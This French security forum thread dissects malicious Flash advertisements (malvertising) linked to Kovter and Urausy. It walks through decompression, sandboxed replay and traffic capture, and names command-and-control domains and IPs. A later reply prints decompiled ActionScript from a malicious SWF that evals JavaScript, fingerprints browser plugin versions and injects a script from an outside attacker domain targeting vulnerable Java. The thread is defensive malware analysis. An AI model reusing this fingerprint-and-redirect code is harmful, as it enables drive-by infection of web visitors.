[TECH] Animations flash malveillantes (malvertising)

ѠOOT

[TECH] Animations flash malveillantes (malvertising)

par ѠOOT »

Malekal Entertainment présente : sur les traces de la redirection perdue. Vivez l'aventure, le doute, l'angoisse, l'histoire vraie légèrement frelatée d'un incroyable périple du côté obscure entretenu par Dark Adobe. Accessoirement, ça devrait aussi élargir vos connaissances sur ce qui se fait en matière de malvertising. Ci-dessous, un exemple concret, inspirez-vous en car chaque cas est malheureusement différent.

AVERTISSEMENT: Ce sujet s'adresse aux curieux souhaitant aller plus loin dans l'étude de codes malveillants : si ce n'est pas votre cas, peut être devriez vous dès à présent passer votre chemin. L'ensemble de nos âneries sont réalisées dans un environnement adapté à l'étude des codes malveillants sous VM, ne reproduisez jamais ces manipulations sur votre propre système d'exploitation.

L'été est déjà loin, la nuit est tombée. Il est 22h et c'est le big idle sur nos serveurs de discussion : la routine. Glandouille, concentré sur une partie de Klotski sur un niveau plutôt coriace... le client irc s'affole puis émet un son signalant l'arrivé d'une personne sur le clavardoir puis un second, celui d'un message:

@Malekal_morte - "yep j'crois que j'ai les malvertisings mais j'arrive pas avoir les redirections alor ché pas si c'est parce que les redirections ne sont pas activées ou si c'est parce que faut certaines conditions pour que la redirection se fasse et là vu le nombre de sites touchés, devrait y avoir bcp de sujets mais pour le moment quedalle..."

Charabia, me direz-vous? Que nenni, l'homme est ému, enthousiaste, la voix chevrotante...

Le temps de faire chauffer la cafetière, @Malekal_morte m'explique que le sujet concerne son dernier billet Kovter. En résumé, il se diffuse via des malvertising, des publicités piégées à l'insu des annonceurs et des régies, sur des sites pornographiques. Une fois le malware sur le système ce dernier va ouvrir des pages avec du contenu pédopornographique. Vous aviez encore des doutes quant aux limites de la connerie humaine ?

Avant toute chose, je vais jeter un œil à super Kovter indexé sur MalwareDB. ( pour aller directement au sujet, défiler jusqu'à voir ce symbole → )

Je découvre que ce programme, recouvert de plusieurs couches, est écrit en Delphi et qu'il embarque en ressources une configuration chiffrée.
Image
La même configuration, un peu plus lisible.
Image

Le "cp" correspond à "ControlPanel" : la communication se fait depuis "svoirdwiz.org" & "svoirdwiz.biz" via la page "form.php" appellée en méthode POST, etc... voir la capture du traffic pour plus de détails. Les deux noms de domaine ont été achetés chez "PDR Ltd" par deux individus sous le possible sobriquet "Oleg" les adresses sont différentes sauf l'email : "[email protected]" - l'adresse IP 50.7.193.124 est située dans une petite range "50.7.193.120/29", hin.. hin... 6 ips seulement, plutôt rare ;)

Les "popurl" correspondent aux sources des fenêtres intruses et les "poptime", la fréquence. Les noms de domaine, enregistrés chez "Gransy s.r.o", se terminent en .info et pointent sur la même adresse IP "188.40.161.41".

Je prends le temps d'écrire un petit extracteur de config pour scalper à la volée tous les fichiers de la même famille. Bien, bien.. voilà de futures informations intéressantes pour alimenter nos plateformes ( similaires à des produits tels que Maltego, pour ceux qui connaissent )

Revenons à ce qui chagrine Malekal, la partie Malvertising. Il m'a indiqué une bannière publicitaire suspecte mais il n'arrive pas à mettre en évidence les mécanismes de la redirection. L'échantillon est une banale animation flash promotionnelle pour sites X.

Pour commencer, j'envoie ce fichier sur des outils automatisés, comme par exemple, Wepawet mais j'ai rapidement des problèmes : le fichier utilise une version de flash non supportée, le fichier n'affiche rien de suspect, rien d'intéressant et en plus VirusTotal retourne un résultat de 0/47 (0%), snif. Conclusion, obligé de décortiquer le bidule en utilisant sa cervelle, dur...

La première étape consiste à vérifier que le fichier téléchargé sur MalwareDB correspond bien à celui que je vais manipuler. Pour cela, j'utilise le petit et puissant utilitaire de SlavaSoft nommé FSUM. J'exécute l'interpréteur de commandes Windows (donc cmd.exe) et je saisi "cd\" (sans les guillemets, CD: Change Directory) pour me positionner à la racine car c'est ici que j'ai téléchargé le zip. Je dézippe le fichier, j'ai alors le fichier "c2f5cf5f06d5df2b9580d01c531ccf00" - le flash - que je renomme en "c2f5cf5f06d5df2b9580d01c531ccf00.swf"

fsum -jnc c2f5cf5f06d5df2b9580d01c531ccf00.swf
c2f5cf5f06d5df2b9580d01c531ccf00 *c2f5cf5f06d5df2b9580d01c531ccf00.swf

Le fichier récupéré est bien identique au fichier distant.
Je vais ensuite décompresser le flash à l'aide de flasm.

flasm -x c2f5cf5f06d5df2b9580d01c531ccf00.swf
c2f5cf5f06d5df2b9580d01c531ccf00.swf successfully decompressed, 638418 bytes

Pour les besoins de l'analyse, je vais télécharger et installer Adobe AIR car il est nécessaire à l'usage de l'outil d'investigation d'Adobe, c'est à dire SWFInvestigator.

Une fois SWFInvestigator installé et exécuté, je fais glisser "c2f5cf5f06d5df2b9580d01c531ccf00.swf" sur le GUI.

Image

L'onglet "SWF Info" vous indique bien que le fichier n'est plus compressé. Avec l'expérience, vous remarquerez que "Has Metadata" et "Local w/ Networking" sont présents, ce qui sera important de garder en tête pour la suite. Utilisez l'onglet "Tag Viewer" pour parcourir ces ressources. Les métadonnées de type RDF/XML contiennent des informations qui peuvent vous aider à répondre à certaines de vos interrogations : Qui ? Quoi ? Quand ? ... ce genre de petites cachoteries.

Image

Les blocs importants sont les DefineBinaryData,
En principe, il n'y en a peu : l'animation.

ID1 : L'animation légitime
<DefineBinaryData id='1' idrefName='Main_swfClass_dataClass' length='595705' />
ff 15 ff 16 09 00 01 00 00 00 00 00 43 57 53 08 | ************CWS* |
Les bytes 0x43,0x57,0x53 confirment que le format de fichier est correct.

ID2 : Là par contre, c'est un bloc inconnu.
<DefineBinaryData id='2' idrefName='Main_storyClass' length='16904' />
ff 15 0e 42 00 00 02 00 00 00 00 00 4f 3d 22 3a | ***B********O=": |

Si je scroll jusqu'à la fin du bloc:

Image

Ce petit morceau ressemble à du JavaScript, en revanche le reste est étrange.
A y regarder de plus près, on y voit des bribes de termes : présence d'une compression ?
Toujours est-il que Malekal avait raison : lorsqu'on ouvre le fichier flash depuis un navigateur, il n'y a pas de redirection malveillante. J'utilise "SWF Disassembler" pour tenter d'y voir plus clair.

Dans la fonction Main() on observe ce qui ressemble fort au chemin complet du projet où le "Main.as" étant le source de l'ActionScript.

Image

"C:\диск F\kent_projects\realgfporn3152\src;;Main.as" Intéressant... je ne détaillerai pas d'avantage ce style d'analyse car c'est un peu compliqué, je vais plutôt vous orienter sur l'analyse dynamique. La raison pour laquelle la redirection ne fonctionne pas est simple, si l'animation est lancée depuis un fichier local alors ça ne fonctionne pas, il faut qu'elle soit "en ligne".

Pour recréer les conditions, je vais aller dans le menu "Utilities" et sélectionner "Mini Web Server". J'indique l'emplacement de mon fichier (C:) dans la section "root directory" puis je laisse par défaut et je valide "Start Listening".

Successfully listening on 127.0.0.1:9080

Le port 9080/TCP en écoute sur ma boucle locale pour simuler un HTTPd.
Je peux désormais utiliser le protocole adéquate depuis le navigateur.
Le traffic sera écouté avec le renifleur Wireshark

Sous Mozilla Firefox, je vérifie que JavaScript est actif puis je saisi l'URL vers mon serveur de fortune: http://127.0.0.1:9080/c2f5cf5f06d5df2b9580d01c531ccf00.swf

L'animation se charge et sans surprise... le renifleur intercepte:

GET /realgfporn2.php?id=312e372e302e3435 HTTP/1.1
Host: kentavr999.com

Un nom de domaine enregistré au bureau "PDR Ltd" par une personne fictive "Richard Sexxxpox" avec l'email "[email protected]", ses NS sont russes et l'hébergeur est l'anglosaxon RedStation. La fameuse redirection manquante tant recherchée par Malekal se révèle enfin.

Pour ce qui est de comprendre le pourquoi du comment, je vais vous épargner les maux de tête ( Pour l'extraction et le décodage avec Malzilla, lire le billet de Jerome ). Pour faire simple, ils transforment un flash sain en flash malveillant à l'aide d'un outil. Celui-ci génère une nouvelle enveloppe flash qui embarque l'animation initiale ainsi qu'un chargeur pour exécuter le code javascript compressé. Ce code décompressé est d'une certaine manière encore compressé puisque le JavaScript est packé avec l'outil de Dean Edwards.

Image

Au final le vil JavaScript, sous sa forme brute, fait... plus de 2300 lignes :o

Image

L'intégralité du JavaScript est ici.
J'ai utilisé le greffon Javascript Deminifier pour Firefox qui permet d'améliorer l'affichage.
Au besoins, vous pouvez dé-obfusquer et embellir en ligne à l'aide de JsBeautifier.

Une approche pas trop compliquée qui permet de se dépatouiller, il y en a d'autres... En cherchant sur le forum, je me suis aperçu qu'il n'y avait rien sur comment décortiquer un fichier flash alors bah... si vous avez appris quelques astuces, c'est cool. Si c'est du chinois, désolé :x

edit: Si vous avez des doutes sur un fichier flash, envoyez le sur urlQuery, si l'encadré "Overview" contient des "urlQuery Alerts" en rouge alors il y a danger.
Dernière modification par ѠOOT le 26 oct. 2013 18:28, modifié 3 fois.
Avatar de l’utilisateur
Parisien_entraide
Messages : 16257
Inscription : 02 juin 2012 20:48
Localisation : Thomas Anderson : Je suis dans et en dehors de la matrice :-)

Re: Exemple d'animation flash malveillante (malvertising)

par Parisien_entraide »

Bel article informatif, à la fois technique et "relativement" abordable, décrivant bien le mécanisme, parce que c'est là souvent que le bât blesse

Ensuite, Il est toujours difficile d'écrire un article sur un site qui se veut grand public, parce que s'y cotoit aussi bien le père de famille, le geek blasé, que l'étudiant en informatique
Trouver le juste milieu n'est pas toujours évident, car arrive vite la frontière où ce type d'article peut attirer les apprentis sorciers du code malveillant, et rebuter le père de famille qui ne cherche en fait, après être venu se faire désinfecter, "que la meilleure protection" pour continuer ses activités antérieures.

Là, on a une progression dans le descriptif, avec quelques paragraphes de synthèse en langage clair et c'est tout a fait le type d'article qui a sa place sur le site de Malekal car complémentaire aux articles plus généralistes (ça manquait :-)

Edit : On va bientot se croire sur MISC :-)
Dernière modification par Parisien_entraide le 25 oct. 2013 20:05, modifié 1 fois.
- Only Amiga... Was possible ! Lien https://forum.malekal.com/viewtopic.php?t=60830
- « Un problème sans solution est un problème mal posé. » (Albert Einstein)
- « Tous les patients mentent » (Théorème du Docteur House) Que ce soit consciemment ou inconsciemment
- Jeff Goldblum dans Informatic Park, professeur adepte de la théorie du chaos : « Vous utilisez un crack, un keygen ? Qu’est-ce qui pourrait mal tourner?? »
- Captcha : Il s'agit d'un ordinateur qui demande à un humain de prouver.. qu'il n'est pas un ordinateur ! (Les prémices du monde de demain)
- Dans le monde il y a deux sortes de gens : Ceux qui font des sauvegardes et .. Ceux qui vont faire des sauvegardes (Extrait du Credo.. Telle est la voie ! )
Malekal_morte
Messages : 114743
Inscription : 10 sept. 2005 13:57

Re: Exemple d'animation flash malveillante (malvertising)

par Malekal_morte »

C'est Urausy la redirection à la fin - et elle était systématique.
C'est juste que l'URL était bien camouflée dans le SWF.
C'est assez bien foutu.

Apparemment, il y a des malvertising pour Reveton du même style, quelqu'un m'a contacté avec au final un javascript assez ressemblant : http://pastebin.com/dZgwcxpx
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Evaluer le site malekal.com
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
synku

Re: Exemple d'animation flash malveillante (malvertising)

par synku »

Salut a tous,

Malekal, c'est moi qui t'ai contacté ;) Merci pour tes orientations.
Le SWF suit exactement les memes mecanismes que ceux que je t'ai evoqué!

Voici mon write-up: http://www.j-ro.me/swf-malware-analysis-oct13.html

La campagne (pas adulte) s'est retrouvée sur une grosse plateforme de pub.

Jerome
Malekal_morte
Messages : 114743
Inscription : 10 sept. 2005 13:57

Re: Exemple d'animation flash malveillante (malvertising)

par Malekal_morte »

Sympa ton post, je l'ai tweeté ! PDT_001

Par contre "WOOT aka Spyware on VT" - c'est faux ;)
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Evaluer le site malekal.com
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
ѠOOT

Re: Exemple d'animation flash malveillante (malvertising)

par ѠOOT »

Bonjour,

Merci pour vos commentaires.
Superbe analyse Jerome.
synku

Re: Exemple d'animation flash malveillante (malvertising)

par synku »

Malekal_morte a écrit :Sympa ton post, je l'ai tweeté ! PDT_001
Merci!
Malekal_morte a écrit :Par contre "WOOT aka Spyware on VT" - c'est faux ;)
Oops, je suis allé un peu vite.
Corrigé ;-)
synku

Re: Exemple d'animation flash malveillante (malvertising)

par synku »

ѠOOT a écrit :Bonjour,

Merci pour vos commentaires.
Superbe analyse Jerome.
Merci! Génial de pouvoir échanger la-dessus.
A+
ѠOOT

Re: Exemple d'animation flash malveillante (malvertising)

par ѠOOT »

Vous avez été plusieurs à me demander comment extraire proprement les blocs de données. Par chance, je n'avais pas encore quitté le sujet puisque j'étais en train de regarder d'un peu plus près la série de malvertising "480jack". J'ai donc recherché si des outils simples et efficaces pouvaient faciliter ces manipulations. Et j'ai trouvé une perle qui mérite bien sa place dans cet article.

Pour utiliser le décompileur Flash sur la VM, j'ai besoins d'aller faire un tour chez Oracle afin de télécharger JRE ( Java Runtime Environment ) Je vérifie la validité de la signature numérique du binaire avant de procéder à l'installation.

JPEXS Free Flash Decompiler (FFDec) est un décompileur OpenSource, en licence publique générale GPL v3 - interopérable : il fonctionne sous Linux, Macintosh & Windows.

Je télécharge l'installeur pour Windows ffdec_1.7.3u2_setup.exe (6,679 KiB) sur la page de téléchargement il y a l'empreinte SHA1 du fichier : 5fb3f5582e7a040ede2b5f475f4ace98468e2dd5 que je m'empresse de vérifier, comme expliqué dans l'article précédent.

fsum -jnc -sha1 ffdec_1.7.3u2_setup.exe
5fb3f5582e7a040ede2b5f475f4ace98468e2dd5 ?SHA1*ffdec_1.7.3u2_setup.exe

Si vous n'êtes pas à l'aise avec l'anglais: téléchargez le fichier de langue FR sur le site.
L'installation terminée, j'ouvre le fichier SWF que je désire étudier.

Damned! Nice, GUI ❥

Image

Manipuler les ressources devient alors un jeu d'enfant.
Par exemple pour exporter le bloc, faites un simple clique droit.

Image

Voilà :þ
Malekal_morte
Messages : 114743
Inscription : 10 sept. 2005 13:57

Re: [TECH] Animations flash malveillantes (malvertising)

par Malekal_morte »

Un autre exemple de SWF malicieux qui "construit" une iframe pour redigier vers une URL lors de l'execution de l'applet : http://pjjoint.malekal.com/files.php?re ... z5m13z9l11

Le code qui génère l'iframe - l'adresse retournée est de type : hxxp://account.castilloroofinginc.com + versionpluginsencodee + 317

Code : Tout sélectionner

public function S1() {
         var _loc6_:String = null;
         var _loc7_:String = null;
         super();
         var _loc1_:GClass = new GClass();
         var _loc2_:* = "317";
         var _loc3_:* = "account.castilloroofinginc.com" + "?";
         var _loc4_:* = true;
         var _loc5_:* = false;
         this.url = this.root.loaderInfo.parameters["clickTAG"];
         this.target = this.root.loaderInfo.parameters["clickTARGET"];
         this.addEventListener(MouseEvent.CLICK,this.mouseCLICKHandler);
         this.addEventListener(MouseEvent.MOUSE_OVER,this.onMouseOver);
         this.addEventListener(MouseEvent.MOUSE_OUT,this.offMouseOver);
         if(ExternalInterface.available)
         {
            _loc7_ = "xor_encode=function (s){var i, f = s.length,a = [];for (i = 0; i < f; i++) {a[i] = s.charCodeAt(i).toString(16)}return a.join(\'\');}";
            ExternalInterface.call("eval",_loc7_);
            if(_loc1_.DoIframe())
            {
               _loc6_ = _loc1_.VPDF() + "||" + _loc1_.VJAVA() + "||" + _loc1_.VFlash() + "||" + _loc2_;
               _loc6_ = ExternalInterface.call("xor_encode",_loc6_);
               _loc1_.CreateScript("http://" + _loc3_ + _loc6_);
            }
            _loc1_.deadPluginDetect();
         }
      }

La grosse partie du script consiste donc à récupérer les versions des plugins, les versions du navigateur et de l'OS (histoire s'assurer qu'on est bien sur Windows).

On constate que les navigateurs Safari et Chrome se font jeter.

Code : Tout sélectionner

            switch(String(_loc4_[0]))
            {
               case "IE":
                  _loc1_ = true;
                  break;
               case "Opera":
                  _loc1_ = true;
                  break;
               case "FF":
                  _loc1_ = true;
                  break;
               case "Safari":
                  _loc1_ = false;
                  break;
               case "Chrome":
                  _loc1_ = false;
                  break;
            }

Si aucune version de plugins est retournée alors l'iframe ne sera pas envoyée, de même, si la version de java n'est pas comprise en 1.6 et 1.7.0.21 - il n'y aura pas d'iframe.

Code : Tout sélectionner

i(!_loc1_)
            {
               return false;
            }
            if(this.VOS() != "WIN")
            {
               return false;
            }
            _loc1_ = false;
            _loc6_ = this.VVer(this.VPDF());
            _loc7_ = this.VVer(this.VJAVA());
            _loc8_ = this.VVer(this.VFlash());
            if(_loc6_ + _loc7_ + _loc8_ == 0)
            {
               return false;
            }
            if(_loc7_ >= this.VVer("1.6.0.0") && _loc7_ <= this.VVer("1.7.0.21"))
            {
               return true;
            }
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Evaluer le site malekal.com
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
SkyTech

Re: [TECH] Animations flash malveillantes (malvertising)

par SkyTech »

Le code est assez simple contrairement à ce qu'on pourrait imaginer o_0
Malekal_morte
Messages : 114743
Inscription : 10 sept. 2005 13:57

Re: [TECH] Animations flash malveillantes (malvertising)

par Malekal_morte »

Pourquoi voudrais-tu qu'il soit compliqué ? :)
Là y a une vague depuis 1 mois de malware par disques amovibles par de simples .vbs / .vbe
Tant que les antivirus sont dans le vent, pas besoin de faire compliqué.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Evaluer le site malekal.com
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Tech, Tips & Tricks »